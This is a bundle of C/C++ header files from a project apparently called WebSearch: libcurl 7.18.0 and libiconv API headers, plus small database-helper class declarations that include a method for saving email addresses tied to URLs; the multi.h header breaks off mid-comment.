CURL_EXTERN CURLFORMcode curl_formadd(struct curl_httppost **httppost,
                                      struct curl_httppost **last_post,
                                      ...);

/*
 * callback function for curl_formget()
 * The void *arg pointer will be the one passed as second argument to curl_formget().
 * The character buffer passed to it must not be freed.
 * Should return the buffer length passed to it as the argument "len" on success.
 */
typedef size_t (*curl_formget_callback)(void *arg, const char *buf, size_t len);

/*
 * NAME curl_formget()
 *
 * DESCRIPTION
 *
 * Serialize a curl_httppost struct built with curl_formadd().
 * Accepts a void pointer as second argument which will be passed to
 * the curl_formget_callback function.
 * Returns 0 on success.
 */
CURL_EXTERN int curl_formget(struct curl_httppost *form, void *arg,
                             curl_formget_callback append);
/*
 * NAME curl_formfree()
 *
 * DESCRIPTION
 *
 * Free a multipart formpost previously built with curl_formadd().
 */
CURL_EXTERN void curl_formfree(struct curl_httppost *form);

/*
 * NAME curl_getenv()
 *
 * DESCRIPTION
 *
 * Returns a malloc()'ed string that MUST be curl_free()ed after usage is
 * complete. DEPRECATED - see lib/README.curlx
 */
CURL_EXTERN char *curl_getenv(const char *variable);

/*
 * NAME curl_version()
 *
 * DESCRIPTION
 *
 * Returns a static ascii string of the libcurl version.
 */
CURL_EXTERN char *curl_version(void);

/*
 * NAME curl_easy_escape()
 *
 * DESCRIPTION
 *
 * Escapes URL strings (converts all letters consider illegal in URLs to their
 * %XX versions). This function returns a new allocated string or NULL if an
 * error occurred.
 */
CURL_EXTERN char *curl_easy_escape(CURL *handle,
                                   const char *string,
                                   int length);

/* the previous version: */
CURL_EXTERN char *curl_escape(const char *string,
                              int length);


/*
 * NAME curl_easy_unescape()
 *
 * DESCRIPTION
 *
 * Unescapes URL encoding in strings (converts all %XX codes to their 8bit
 * versions). This function returns a new allocated string or NULL if an error
 * occurred.
 * Conversion Note: On non-ASCII platforms the ASCII %XX codes are
 * converted into the host encoding.
 */
CURL_EXTERN char *curl_easy_unescape(CURL *handle,
                                     const char *string,
                                     int length,
                                     int *outlength);

/* the previous version */
CURL_EXTERN char *curl_unescape(const char *string,
                                int length);

/*
 * NAME curl_free()
 *
 * DESCRIPTION
 *
 * Provided for de-allocation in the same translation unit that did the
 * allocation. Added in libcurl 7.10
 */
CURL_EXTERN void curl_free(void *p);

/*
 * NAME curl_global_init()
 *
 * DESCRIPTION
 *
 * curl_global_init() should be invoked exactly once for each application that
 * uses libcurl
 */
CURL_EXTERN CURLcode curl_global_init(long flags);

/*
 * NAME curl_global_init_mem()
 *
 * DESCRIPTION
 *
 * curl_global_init() or curl_global_init_mem() should be invoked exactly once
 * for each application that uses libcurl.  This function can be used to
 * initialize libcurl and set user defined memory management callback
 * functions.  Users can implement memory management routines to check for
 * memory leaks, check for mis-use of the curl library etc.  User registered
 * callback routines with be invoked by this library instead of the system
 * memory management routines like malloc, free etc.
 */
CURL_EXTERN CURLcode curl_global_init_mem(long flags,
                                          curl_malloc_callback m,
                                          curl_free_callback f,
                                          curl_realloc_callback r,
                                          curl_strdup_callback s,
                                          curl_calloc_callback c);

/*
 * NAME curl_global_cleanup()
 *
 * DESCRIPTION
 *
 * curl_global_cleanup() should be invoked exactly once for each application
 * that uses libcurl
 */
CURL_EXTERN void curl_global_cleanup(void);

/* linked-list structure for the CURLOPT_QUOTE option (and other) */
struct curl_slist {
  char *data;
  struct curl_slist *next;
};

/*
 * NAME curl_slist_append()
 *
 * DESCRIPTION
 *
 * Appends a string to a linked list. If no list exists, it will be created
 * first. Returns the new list, after appending.
 */
CURL_EXTERN struct curl_slist *curl_slist_append(struct curl_slist *,
                                                 const char *);

/*
 * NAME curl_slist_free_all()
 *
 * DESCRIPTION
 *
 * free a previously built curl_slist.
 */
CURL_EXTERN void curl_slist_free_all(struct curl_slist *);

/*
 * NAME curl_getdate()
 *
 * DESCRIPTION
 *
 * Returns the time, in seconds since 1 Jan 1970 of the time string given in
 * the first argument. The time argument in the second parameter is unused
 * and should be set to NULL.
 */
CURL_EXTERN time_t curl_getdate(const char *p, const time_t *unused);

#define CURLINFO_STRING   0x100000
#define CURLINFO_LONG     0x200000
#define CURLINFO_DOUBLE   0x300000
#define CURLINFO_SLIST    0x400000
#define CURLINFO_MASK     0x0fffff
#define CURLINFO_TYPEMASK 0xf00000

typedef enum {
  CURLINFO_NONE, /* first, never use this */
  CURLINFO_EFFECTIVE_URL    = CURLINFO_STRING + 1,
  CURLINFO_RESPONSE_CODE    = CURLINFO_LONG   + 2,
  CURLINFO_TOTAL_TIME       = CURLINFO_DOUBLE + 3,
  CURLINFO_NAMELOOKUP_TIME  = CURLINFO_DOUBLE + 4,
  CURLINFO_CONNECT_TIME     = CURLINFO_DOUBLE + 5,
  CURLINFO_PRETRANSFER_TIME = CURLINFO_DOUBLE + 6,
  CURLINFO_SIZE_UPLOAD      = CURLINFO_DOUBLE + 7,
  CURLINFO_SIZE_DOWNLOAD    = CURLINFO_DOUBLE + 8,
  CURLINFO_SPEED_DOWNLOAD   = CURLINFO_DOUBLE + 9,
  CURLINFO_SPEED_UPLOAD     = CURLINFO_DOUBLE + 10,
  CURLINFO_HEADER_SIZE      = CURLINFO_LONG   + 11,
  CURLINFO_REQUEST_SIZE     = CURLINFO_LONG   + 12,
  CURLINFO_SSL_VERIFYRESULT = CURLINFO_LONG   + 13,
  CURLINFO_FILETIME         = CURLINFO_LONG   + 14,
  CURLINFO_CONTENT_LENGTH_DOWNLOAD   = CURLINFO_DOUBLE + 15,
  CURLINFO_CONTENT_LENGTH_UPLOAD     = CURLINFO_DOUBLE + 16,
  CURLINFO_STARTTRANSFER_TIME = CURLINFO_DOUBLE + 17,
  CURLINFO_CONTENT_TYPE     = CURLINFO_STRING + 18,
  CURLINFO_REDIRECT_TIME    = CURLINFO_DOUBLE + 19,
  CURLINFO_REDIRECT_COUNT   = CURLINFO_LONG   + 20,
  CURLINFO_PRIVATE          = CURLINFO_STRING + 21,
  CURLINFO_HTTP_CONNECTCODE = CURLINFO_LONG   + 22,
  CURLINFO_HTTPAUTH_AVAIL   = CURLINFO_LONG   + 23,
  CURLINFO_PROXYAUTH_AVAIL  = CURLINFO_LONG   + 24,
  CURLINFO_OS_ERRNO         = CURLINFO_LONG   + 25,
  CURLINFO_NUM_CONNECTS     = CURLINFO_LONG   + 26,
  CURLINFO_SSL_ENGINES      = CURLINFO_SLIST  + 27,
  CURLINFO_COOKIELIST       = CURLINFO_SLIST  + 28,
  CURLINFO_LASTSOCKET       = CURLINFO_LONG   + 29,
  CURLINFO_FTP_ENTRY_PATH   = CURLINFO_STRING + 30,
  /* Fill in new entries below here! */

  CURLINFO_LASTONE          = 30
} CURLINFO;

/* CURLINFO_RESPONSE_CODE is the new name for the option previously known as
   CURLINFO_HTTP_CODE */
#define CURLINFO_HTTP_CODE CURLINFO_RESPONSE_CODE

typedef enum {
  CURLCLOSEPOLICY_NONE, /* first, never use this */

  CURLCLOSEPOLICY_OLDEST,
  CURLCLOSEPOLICY_LEAST_RECENTLY_USED,
  CURLCLOSEPOLICY_LEAST_TRAFFIC,
  CURLCLOSEPOLICY_SLOWEST,
  CURLCLOSEPOLICY_CALLBACK,

  CURLCLOSEPOLICY_LAST /* last, never use this */
} curl_closepolicy;

#define CURL_GLOBAL_SSL (1<<0)
#define CURL_GLOBAL_WIN32 (1<<1)
#define CURL_GLOBAL_ALL (CURL_GLOBAL_SSL|CURL_GLOBAL_WIN32)
#define CURL_GLOBAL_NOTHING 0
#define CURL_GLOBAL_DEFAULT CURL_GLOBAL_ALL


/*****************************************************************************
 * Setup defines, protos etc for the sharing stuff.
 */

/* Different data locks for a single share */
typedef enum {
  CURL_LOCK_DATA_NONE = 0,
  /*  CURL_LOCK_DATA_SHARE is used internaly to say that
   *  the locking is just made to change the internal state of the share
   *  itself.
   */
  CURL_LOCK_DATA_SHARE,
  CURL_LOCK_DATA_COOKIE,
  CURL_LOCK_DATA_DNS,
  CURL_LOCK_DATA_SSL_SESSION,
  CURL_LOCK_DATA_CONNECT,
  CURL_LOCK_DATA_LAST
} curl_lock_data;

/* Different lock access types */
typedef enum {
  CURL_LOCK_ACCESS_NONE = 0,   /* unspecified action */
  CURL_LOCK_ACCESS_SHARED = 1, /* for read perhaps */
  CURL_LOCK_ACCESS_SINGLE = 2, /* for write perhaps */
  CURL_LOCK_ACCESS_LAST        /* never use */
} curl_lock_access;

typedef void (*curl_lock_function)(CURL *handle,
                                   curl_lock_data data,
                                   curl_lock_access locktype,
                                   void *userptr);
typedef void (*curl_unlock_function)(CURL *handle,
                                     curl_lock_data data,
                                     void *userptr);

typedef void CURLSH;

typedef enum {
  CURLSHE_OK,  /* all is fine */
  CURLSHE_BAD_OPTION, /* 1 */
  CURLSHE_IN_USE,     /* 2 */
  CURLSHE_INVALID,    /* 3 */
  CURLSHE_NOMEM,      /* out of memory */
  CURLSHE_LAST /* never use */
} CURLSHcode;

typedef enum {
  CURLSHOPT_NONE,  /* don't use */
  CURLSHOPT_SHARE,   /* specify a data type to share */
  CURLSHOPT_UNSHARE, /* specify shich data type to stop sharing */
  CURLSHOPT_LOCKFUNC,   /* pass in a 'curl_lock_function' pointer */
  CURLSHOPT_UNLOCKFUNC, /* pass in a 'curl_unlock_function' pointer */
  CURLSHOPT_USERDATA,   /* pass in a user data pointer used in the lock/unlock
                           callback functions */
  CURLSHOPT_LAST  /* never use */
} CURLSHoption;

CURL_EXTERN CURLSH *curl_share_init(void);
CURL_EXTERN CURLSHcode curl_share_setopt(CURLSH *, CURLSHoption option, ...);
CURL_EXTERN CURLSHcode curl_share_cleanup(CURLSH *);

/****************************************************************************
 * Structures for querying information about the curl library at runtime.
 */

typedef enum {
  CURLVERSION_FIRST,
  CURLVERSION_SECOND,
  CURLVERSION_THIRD,
  CURLVERSION_FOURTH,
  CURLVERSION_LAST /* never actually use this */
} CURLversion;

/* The 'CURLVERSION_NOW' is the symbolic name meant to be used by
   basicly all programs ever, that want to get version information. It is
   meant to be a built-in version number for what kind of struct the caller
   expects. If the struct ever changes, we redefine the NOW to another enum
   from above. */
#define CURLVERSION_NOW CURLVERSION_FOURTH

typedef struct {
  CURLversion age;          /* age of the returned struct */
  const char *version;      /* LIBCURL_VERSION */
  unsigned int version_num; /* LIBCURL_VERSION_NUM */
  const char *host;         /* OS/host/cpu/machine when configured */
  int features;             /* bitmask, see defines below */
  const char *ssl_version;  /* human readable string */
  long ssl_version_num;     /* not used anymore, always 0 */
  const char *libz_version; /* human readable string */
  /* protocols is terminated by an entry with a NULL protoname */
  const char * const *protocols;

  /* The fields below this were added in CURLVERSION_SECOND */
  const char *ares;
  int ares_num;

  /* This field was added in CURLVERSION_THIRD */
  const char *libidn;

  /* These field were added in CURLVERSION_FOURTH */

  /* Same as '_libiconv_version' if built with HAVE_ICONV */
  int iconv_ver_num;

  const char *libssh_version; /* human readable string */

} curl_version_info_data;

#define CURL_VERSION_IPV6      (1<<0)  /* IPv6-enabled */
#define CURL_VERSION_KERBEROS4 (1<<1)  /* kerberos auth is supported */
#define CURL_VERSION_SSL       (1<<2)  /* SSL options are present */
#define CURL_VERSION_LIBZ      (1<<3)  /* libz features are present */
#define CURL_VERSION_NTLM      (1<<4)  /* NTLM auth is supported */
#define CURL_VERSION_GSSNEGOTIATE (1<<5) /* Negotiate auth support */
#define CURL_VERSION_DEBUG     (1<<6)  /* built with debug capabilities */
#define CURL_VERSION_ASYNCHDNS (1<<7)  /* asynchronous dns resolves */
#define CURL_VERSION_SPNEGO    (1<<8)  /* SPNEGO auth */
#define CURL_VERSION_LARGEFILE (1<<9)  /* supports files bigger than 2GB */
#define CURL_VERSION_IDN       (1<<10) /* International Domain Names support */
#define CURL_VERSION_SSPI      (1<<11) /* SSPI is supported */
#define CURL_VERSION_CONV      (1<<12) /* character conversions are
                                          supported */

/*
 * NAME curl_version_info()
 *
 * DESCRIPTION
 *
 * This function returns a pointer to a static copy of the version info
 * struct. See above.
 */
CURL_EXTERN curl_version_info_data *curl_version_info(CURLversion);

/*
 * NAME curl_easy_strerror()
 *
 * DESCRIPTION
 *
 * The curl_easy_strerror function may be used to turn a CURLcode value
 * into the equivalent human readable error string.  This is useful
 * for printing meaningful error messages.
 */
CURL_EXTERN const char *curl_easy_strerror(CURLcode);

/*
 * NAME curl_share_strerror()
 *
 * DESCRIPTION
 *
 * The curl_share_strerror function may be used to turn a CURLSHcode value
 * into the equivalent human readable error string.  This is useful
 * for printing meaningful error messages.
 */
CURL_EXTERN const char *curl_share_strerror(CURLSHcode);

/*
 * NAME curl_easy_pause()
 *
 * DESCRIPTION
 *
 * The curl_easy_pause function pauses or unpauses transfers. Select the new
 * state by setting the bitmask, use the convenience defines below.
 *
 */
CURL_EXTERN CURLcode curl_easy_pause(CURL *handle, int bitmask);

#define CURLPAUSE_RECV      (1<<0)
#define CURLPAUSE_RECV_CONT (0)

#define CURLPAUSE_SEND      (1<<2)
#define CURLPAUSE_SEND_CONT (0)

#define CURLPAUSE_ALL       (CURLPAUSE_RECV|CURLPAUSE_SEND)
#define CURLPAUSE_CONT      (CURLPAUSE_RECV_CONT|CURLPAUSE_SEND_CONT)

#ifdef  __cplusplus
}
#endif

/* unfortunately, the easy.h and multi.h include files need options and info
  stuff before they can be included! */
#include "easy.h" /* nothing in curl is fun without the easy stuff */
#include "multi.h"

#endif /* __CURL_CURL_H */







WebSearch/WebSearch/CURL/curlver.h

#ifndef __CURL_CURLVER_H
#define __CURL_CURLVER_H
/***************************************************************************
 *                                  _   _ ____  _
 *  Project                     ___| | | |  _ \| |
 *                             / __| | | | |_) | |
 *                            | (__| |_| |  _ <| |___
 *                             \___|\___/|_| \_\_____|
 *
 * Copyright (C) 1998 - 2008, Daniel Stenberg, <daniel@haxx.se>, et al.
 *
 * This software is licensed as described in the file COPYING, which
 * you should have received as part of this distribution. The terms
 * are also available at http://curl.haxx.se/docs/copyright.html.
 *
 * You may opt to use, copy, modify, merge, publish, distribute and/or sell
 * copies of the Software, and permit persons to whom the Software is
 * furnished to do so, under the terms of the COPYING file.
 *
 * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
 * KIND, either express or implied.
 *
 * $Id: curlver.h,v 1.35 2008-01-24 14:05:56 gknauf Exp $
 ***************************************************************************/

/* This header file contains nothing but libcurl version info, generated by
   a script at release-time. This was made its own header file in 7.11.2 */

/* This is the global package copyright */
#define LIBCURL_COPYRIGHT "1996 - 2008 Daniel Stenberg, <daniel@haxx.se>."

/* This is the version number of the libcurl package from which this header
   file origins: */
#define LIBCURL_VERSION "7.18.0"

/* The numeric version number is also available "in parts" by using these
   defines: */
#define LIBCURL_VERSION_MAJOR 7
#define LIBCURL_VERSION_MINOR 18
#define LIBCURL_VERSION_PATCH 0

/* This is the numeric version of the libcurl version number, meant for easier
   parsing and comparions by programs. The LIBCURL_VERSION_NUM define will
   always follow this syntax:

         0xXXYYZZ

   Where XX, YY and ZZ are the main version, release and patch numbers in
   hexadecimal (using 8 bits each). All three numbers are always represented
   using two digits.  1.2 would appear as "0x010200" while version 9.11.7
   appears as "0x090b07".

   This 6-digit (24 bits) hexadecimal number does not show pre-release number,
   and it is always a greater number in a more recent release. It makes
   comparisons with greater than and less than work.
*/
#define LIBCURL_VERSION_NUM 0x071200

/*
 * This is the date and time when the full source package was created. The
 * timestamp is not stored in CVS, as the timestamp is properly set in the
 * tarballs by the maketgz script.
 *
 * The format of the date should follow this template:
 *
 * "Mon Feb 12 11:35:33 UTC 2007"
 */
#define LIBCURL_TIMESTAMP "Mon Jan 28 17:28:54 UTC 2008"

#endif /* __CURL_CURLVER_H */







WebSearch/WebSearch/DBHelper.h

#ifndef _DBHelper
#define _DBHelper
#include <string>
//#import "Dlls/msado15.dll" no_namespace rename("EOF", "EndOfFile")
#include "Dlls/msado15.tlh"

using namespace std;
class DBHelper{
private:
	wstring _wstrError;
	wstring _wstrConn;
	_ConnectionPtr _m_pConnection;
public:
	DBHelper();
	~DBHelper();
	bool open();
	bool close();
	void setConnStr(wstring wstrConn);
	/*╗ых├┤ь╬зл┼¤б*/
	wstring getError();
	bool execForQuery(wstring wstrSql,_RecordsetPtr& m_pRecordset);
	_ConnectionPtr getConnectionPtr();
};
#endif






WebSearch/WebSearch/DBManager.h

#ifndef _DBManager
#define _DBManager
#include <string>
#include <list>
#include "Dlls/msado15.tlh"
using namespace std;
class DBManager{
private:
	static bool _InitCOMENV;
	static wstring _wstrConn;
	void freeResultset(_RecordsetPtr& m_pRecordset);
	wstring _wstrError;
public:
	DBManager();
	bool testConn();
	bool testConn(wstring wstrConn);
	wstring getError();

	bool saveKeyWordJob(wstring wstrKeyWord,int& iQueryID);
	bool saveEMail(int iQueryID,wstring wstrURL,wstring wstrEMail);

};
#endif






WebSearch/WebSearch/CURL/easy.h

#ifndef __CURL_EASY_H
#define __CURL_EASY_H
/***************************************************************************
 *                                  _   _ ____  _
 *  Project                     ___| | | |  _ \| |
 *                             / __| | | | |_) | |
 *                            | (__| |_| |  _ <| |___
 *                             \___|\___/|_| \_\_____|
 *
 * Copyright (C) 1998 - 2004, Daniel Stenberg, <daniel@haxx.se>, et al.
 *
 * This software is licensed as described in the file COPYING, which
 * you should have received as part of this distribution. The terms
 * are also available at http://curl.haxx.se/docs/copyright.html.
 *
 * You may opt to use, copy, modify, merge, publish, distribute and/or sell
 * copies of the Software, and permit persons to whom the Software is
 * furnished to do so, under the terms of the COPYING file.
 *
 * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
 * KIND, either express or implied.
 *
 * $Id: easy.h,v 1.13 2004/11/09 14:02:58 giva Exp $
 ***************************************************************************/
#ifdef  __cplusplus
extern "C" {
#endif

CURL_EXTERN CURL *curl_easy_init(void);
CURL_EXTERN CURLcode curl_easy_setopt(CURL *curl, CURLoption option, ...);
CURL_EXTERN CURLcode curl_easy_perform(CURL *curl);
CURL_EXTERN void curl_easy_cleanup(CURL *curl);

/*
 * NAME curl_easy_getinfo()
 *
 * DESCRIPTION
 *
 * Request internal information from the curl session with this function.  The
 * third argument MUST be a pointer to a long, a pointer to a char * or a
 * pointer to a double (as the documentation describes elsewhere).  The data
 * pointed to will be filled in accordingly and can be relied upon only if the
 * function returns CURLE_OK.  This function is intended to get used *AFTER* a
 * performed transfer, all results from this function are undefined until the
 * transfer is completed.
 */
CURL_EXTERN CURLcode curl_easy_getinfo(CURL *curl, CURLINFO info, ...);


/*
 * NAME curl_easy_duphandle()
 *
 * DESCRIPTION
 *
 * Creates a new curl session handle with the same options set for the handle
 * passed in. Duplicating a handle could only be a matter of cloning data and
 * options, internal state info and things like persistant connections cannot
 * be transfered. It is useful in multithreaded applications when you can run
 * curl_easy_duphandle() for each new thread to avoid a series of identical
 * curl_easy_setopt() invokes in every thread.
 */
CURL_EXTERN CURL* curl_easy_duphandle(CURL *curl);

/*
 * NAME curl_easy_reset()
 *
 * DESCRIPTION
 *
 * Re-initializes a CURL handle to the default values. This puts back the
 * handle to the same state as it was in when it was just created.
 *
 * It does keep: live connections, the Session ID cache, the DNS cache and the
 * cookies.
 */
CURL_EXTERN void curl_easy_reset(CURL *curl);

#ifdef  __cplusplus
}
#endif

#endif







WebSearch/WebSearch/Iconv/iconv.h

/* Copyright (C) 1999-2003 Free Software Foundation, Inc.
   This file is part of the GNU LIBICONV Library.

   The GNU LIBICONV Library is free software; you can redistribute it
   and/or modify it under the terms of the GNU Library General Public
   License as published by the Free Software Foundation; either version 2
   of the License, or (at your option) any later version.

   The GNU LIBICONV Library is distributed in the hope that it will be
   useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Library General Public License for more details.

   You should have received a copy of the GNU Library General Public
   License along with the GNU LIBICONV Library; see the file COPYING.LIB.
   If not, write to the Free Software Foundation, Inc., 59 Temple Place -
   Suite 330, Boston, MA 02111-1307, USA.  */

/* When installed, this file is called "iconv.h". */

#ifndef _LIBICONV_H
#define _LIBICONV_H

#define _LIBICONV_VERSION 0x0109    /* version number: (major<<8) + minor */
extern int _libiconv_version;       /* Likewise */

/* We would like to #include any system header file which could define
   iconv_t, 1. in order to eliminate the risk that the user gets compilation
   errors because some other system header file includes /usr/include/iconv.h
   which defines iconv_t or declares iconv after this file, 2. when compiling
   for LIBICONV_PLUG, we need the proper iconv_t type in order to produce
   binary compatible code.
   But gcc's #include_next is not portable. Thus, once libiconv's iconv.h
   has been installed in /usr/local/include, there is no way any more to
   include the original /usr/include/iconv.h. We simply have to get away
   without it.
   Ad 1. The risk that a system header file does
   #include "iconv.h"  or  #include_next "iconv.h"
   is small. They all do #include <iconv.h>.
   Ad 2. The iconv_t type is a pointer type in all cases I have seen. (It
   has to be a scalar type because (iconv_t)(-1) is a possible return value
   from iconv_open().) */

/* Define iconv_t ourselves. */
#undef iconv_t
#define iconv_t libiconv_t
typedef void* iconv_t;

/* Get size_t declaration. */
#include <stddef.h>

/* Get errno declaration and values. */
#include <errno.h>
/* Some systems, like SunOS 4, don't have EILSEQ. Some systems, like BSD/OS,
   have EILSEQ in a different header.  On these systems, define EILSEQ
   ourselves. */
#ifndef EILSEQ
/* Igor: called upon EILSEQ from glibc, since autogeneration of this header
	on Windows didn't do the job. */
/* #define EILSEQ @EILSEQ@ */
#define EILSEQ 84
#endif


#ifdef __cplusplus
extern "C" {
#endif


/* Allocates descriptor for code conversion from encoding `fromcode' to
   encoding `tocode'. */
#ifndef LIBICONV_PLUG
#define iconv_open libiconv_open
#endif
extern iconv_t iconv_open (const char* tocode, const char* fromcode);

/* Converts, using conversion descriptor `cd', at most `*inbytesleft' bytes
   starting at `*inbuf', writing at most `*outbytesleft' bytes starting at
   `*outbuf'.
   Decrements `*inbytesleft' and increments `*inbuf' by the same amount.
   Decrements `*outbytesleft' and increments `*outbuf' by the same amount. */
#ifndef LIBICONV_PLUG
#define iconv libiconv
#endif
extern size_t iconv (iconv_t cd, const char* * inbuf, size_t *inbytesleft, char* * outbuf, size_t *outbytesleft);

/* Frees resources allocated for conversion descriptor `cd'. */
#ifndef LIBICONV_PLUG
#define iconv_close libiconv_close
#endif
extern int iconv_close (iconv_t cd);


#ifndef LIBICONV_PLUG

/* Nonstandard extensions. */

/* Control of attributes. */
#define iconvctl libiconvctl
extern int iconvctl (iconv_t cd, int request, void* argument);

/* Requests for iconvctl. */
#define ICONV_TRIVIALP            0  /* int *argument */
#define ICONV_GET_TRANSLITERATE   1  /* int *argument */
#define ICONV_SET_TRANSLITERATE   2  /* const int *argument */
#define ICONV_GET_DISCARD_ILSEQ   3  /* int *argument */
#define ICONV_SET_DISCARD_ILSEQ   4  /* const int *argument */

/* Listing of locale independent encodings. */
#define iconvlist libiconvlist
extern void iconvlist (int (*do_one) (unsigned int namescount,
                                      const char * const * names,
                                      void* data),
                       void* data);

/* Support for relocatable packages.  */

/* Sets the original and the current installation prefix of the package.
   Relocation simply replaces a pathname starting with the original prefix
   by the corresponding pathname with the current prefix instead.  Both
   prefixes should be directory names without trailing slash (i.e. use ""
   instead of "/").  */
extern void libiconv_set_relocation_prefix (const char *orig_prefix,
					    const char *curr_prefix);

#endif


#ifdef __cplusplus
}
#endif


#endif /* _LIBICONV_H */







WebSearch/WebSearch/CURL/mprintf.h

#ifndef __CURL_MPRINTF_H
#define __CURL_MPRINTF_H
/***************************************************************************
 *                                  _   _ ____  _
 *  Project                     ___| | | |  _ \| |
 *                             / __| | | | |_) | |
 *                            | (__| |_| |  _ <| |___
 *                             \___|\___/|_| \_\_____|
 *
 * Copyright (C) 1998 - 2006, Daniel Stenberg, <daniel@haxx.se>, et al.
 *
 * This software is licensed as described in the file COPYING, which
 * you should have received as part of this distribution. The terms
 * are also available at http://curl.haxx.se/docs/copyright.html.
 *
 * You may opt to use, copy, modify, merge, publish, distribute and/or sell
 * copies of the Software, and permit persons to whom the Software is
 * furnished to do so, under the terms of the COPYING file.
 *
 * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
 * KIND, either express or implied.
 *
 * $Id: mprintf.h,v 1.15 2007-08-07 12:44:38 patrickm Exp $
 ***************************************************************************/

#include <stdarg.h>
#include <stdio.h> /* needed for FILE */

#include "curl.h"

#ifdef  __cplusplus
extern "C" {
#endif

CURL_EXTERN int curl_mprintf(const char *format, ...);
CURL_EXTERN int curl_mfprintf(FILE *fd, const char *format, ...);
CURL_EXTERN int curl_msprintf(char *buffer, const char *format, ...);
CURL_EXTERN int curl_msnprintf(char *buffer, size_t maxlength, const char *format, ...);
CURL_EXTERN int curl_mvprintf(const char *format, va_list args);
CURL_EXTERN int curl_mvfprintf(FILE *fd, const char *format, va_list args);
CURL_EXTERN int curl_mvsprintf(char *buffer, const char *format, va_list args);
CURL_EXTERN int curl_mvsnprintf(char *buffer, size_t maxlength, const char *format, va_list args);
CURL_EXTERN char *curl_maprintf(const char *format, ...);
CURL_EXTERN char *curl_mvaprintf(const char *format, va_list args);

#ifdef _MPRINTF_REPLACE
# undef printf
# undef fprintf
# undef sprintf
# undef vsprintf
# undef snprintf
# undef vprintf
# undef vfprintf
# undef vsnprintf
# undef aprintf
# undef vaprintf
# define printf curl_mprintf
# define fprintf curl_mfprintf
#ifdef CURLDEBUG
/* When built with CURLDEBUG we define away the sprintf() functions since we
   don't want internal code to be using them */
# define sprintf sprintf_was_used
# define vsprintf vsprintf_was_used
#else
# define sprintf curl_msprintf
# define vsprintf curl_mvsprintf
#endif
# define snprintf curl_msnprintf
# define vprintf curl_mvprintf
# define vfprintf curl_mvfprintf
# define vsnprintf curl_mvsnprintf
# define aprintf curl_maprintf
# define vaprintf curl_mvaprintf
#endif

#ifdef  __cplusplus
}
#endif

#endif /* __CURL_MPRINTF_H */







WebSearch/WebSearch/CURL/multi.h

#ifndef __CURL_MULTI_H
#define __CURL_MULTI_H
/***************************************************************************
 *                                  _   _ ____  _
 *  Project                     ___| | | |  _ \| |
 *                             / __| | | | |_) | |
 *                            | (__| |_| |  _ <| |___
 *                             \___|\___/|_| \_\_____|
 *
 * Copyright (C) 1998 - 2007, Daniel Stenberg, <daniel@haxx.se>, et al.
 *
 * This software is licensed as described in the file COPYING, which
 * you should have received as part of this distribution. The terms
 * are also available at http://curl.haxx.se/docs/copyright.html.
 *
 * You may opt to use, copy, modify, merge, publish, distribute and/or sell
 * copies of the Software, and permit persons to whom the Software is
 * furnished to do so, under the terms of the COPYING file.
 *
 * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
 * KIND, either express or implied.
 *
 * $Id: multi.h,v 1.44 2007-05-30 20:04:44 bagder Exp $
 ***************************************************************************/
/*
  This is an "external" header file. Don't give away any internals here!

  GOALS

  o Enable a "pull" interface. The application that uses libcurl decides where
    and when to ask libcurl to get/send data.

  o Enable multiple simultaneous transfers in the same thread without making it
    complicated for the application.

  o Enable the application to select() on its own file descriptors and curl's
    file descriptors simultaneous easily.

*/

/*
 * This header file should not really need to include "curl.h" since curl.h
 * itself includes this file and we expect user applications to do #include
 * <curl/curl.h> without the need for especially including multi.h.
 *
 * For some reason we added this include here at one point, and rather than to
 * break existing (wrongly written) libcurl applications, we leave it as-is
 * but with this warning attached.
 */
#include "curl.h"

#ifdef  __cplusplus
extern "C" {
#endif

typedef void CURLM;

typedef enum {
  CURLM_CALL_MULTI_PERFORM = -1, /* please call curl_multi_perform() or
                                    curl_multi_socket*() soon */
  CURLM_OK,
  CURLM_BAD_HANDLE,      /* the passed-in handle is not a valid CURLM handle */
  CURLM_BAD_EASY_HANDLE, /* an easy handle was not good/valid */
  CURLM_OUT_OF_MEMORY,   /* if you ever get this, you're in deep sh*t */
  CURLM_INTERNAL_ERROR,  /* this is a libcurl bug */
  CURLM_BAD_SOCKET,      /* the passed in socket argument did not match */
  CURLM_UNKNOWN_OPTION,  /* curl_multi_setopt() with unsupported option */
  CURLM_LAST
} CURLMcode;

/* just to make code nicer when using curl_multi_socket() you can now check
   for CURLM_CALL_MULTI_SOCKET too in the same style it works for
   curl_multi_perform() and CURLM_CALL_MULTI_PERFORM */
#define CURLM_CALL_MULTI_SOCKET CURLM_CALL_MULTI_PERFORM

typedef enum {
  CURLMSG_NONE, /* first, not used */
  CURLMSG_DONE, /* This easy handle has completed. 'result' contains
                   the CURLcode of the transfer */
  CURLMSG_LAST /* last, not used */
} CURLMSG;

struct CURLMsg {
  CURLMSG msg;       /* what this message means */
  CURL *easy_handle; /* the handle it concerns */
  union {
    void *whatever;    /* message-specific data */
    CURLcode result;   /* return code for transfer */
  } data;
};
typedef struct CURLMsg CURLMsg;

/*
 * Name:    curl_multi_init()
 *
 * Desc:    inititalize multi-style curl usage
 *
 * Returns: a new CURLM handle to use in all 'curl_multi' functions.
 */
CURL_EXTERN CURLM *curl_multi_init(void);

/*
 * Name:    curl_multi_add_handle()
 *
 * Desc:    add a standard curl handle to the multi stack
 *
 * Returns: CURLMcode type, general multi error code.
 */
CURL_EXTERN CURLMcode curl_multi_add_handle(CURLM *multi_handle,
                                            CURL *curl_handle);

 /*
  * Name:    curl_multi_remove_handle()
  *
  * Desc:    removes a curl handle from the multi stack again
  *
  * Returns: CURLMcode type, general multi error code.
  */
CURL_EXTERN CURLMcode curl_multi_remove_handle(CURLM *multi_handle,
                                               CURL *curl_handle);

 /*
  * Name:    curl_multi_fdset()
  *
  * Desc:    Ask curl for its fd_set sets. The app can use these to select() or
  *          poll() on. We want curl_multi_perform() called as soon as one of
  *          them are ready.
  *
  * Returns: CURLMcode type, general multi error code.
  */
CURL_EXTERN CURLMcode curl_multi_fdset(CURLM *multi_handle,
                                       fd_set *read_fd_set,
                                       fd_set *write_fd_set,
                                       fd_set *exc_fd_set,
                                       int *max_fd);

 /*
  * Name:    curl_multi_perform()
  *
  * Desc:    When the app thinks there's data available for curl it calls this
  *          function to read/write whatever there is right now. This returns
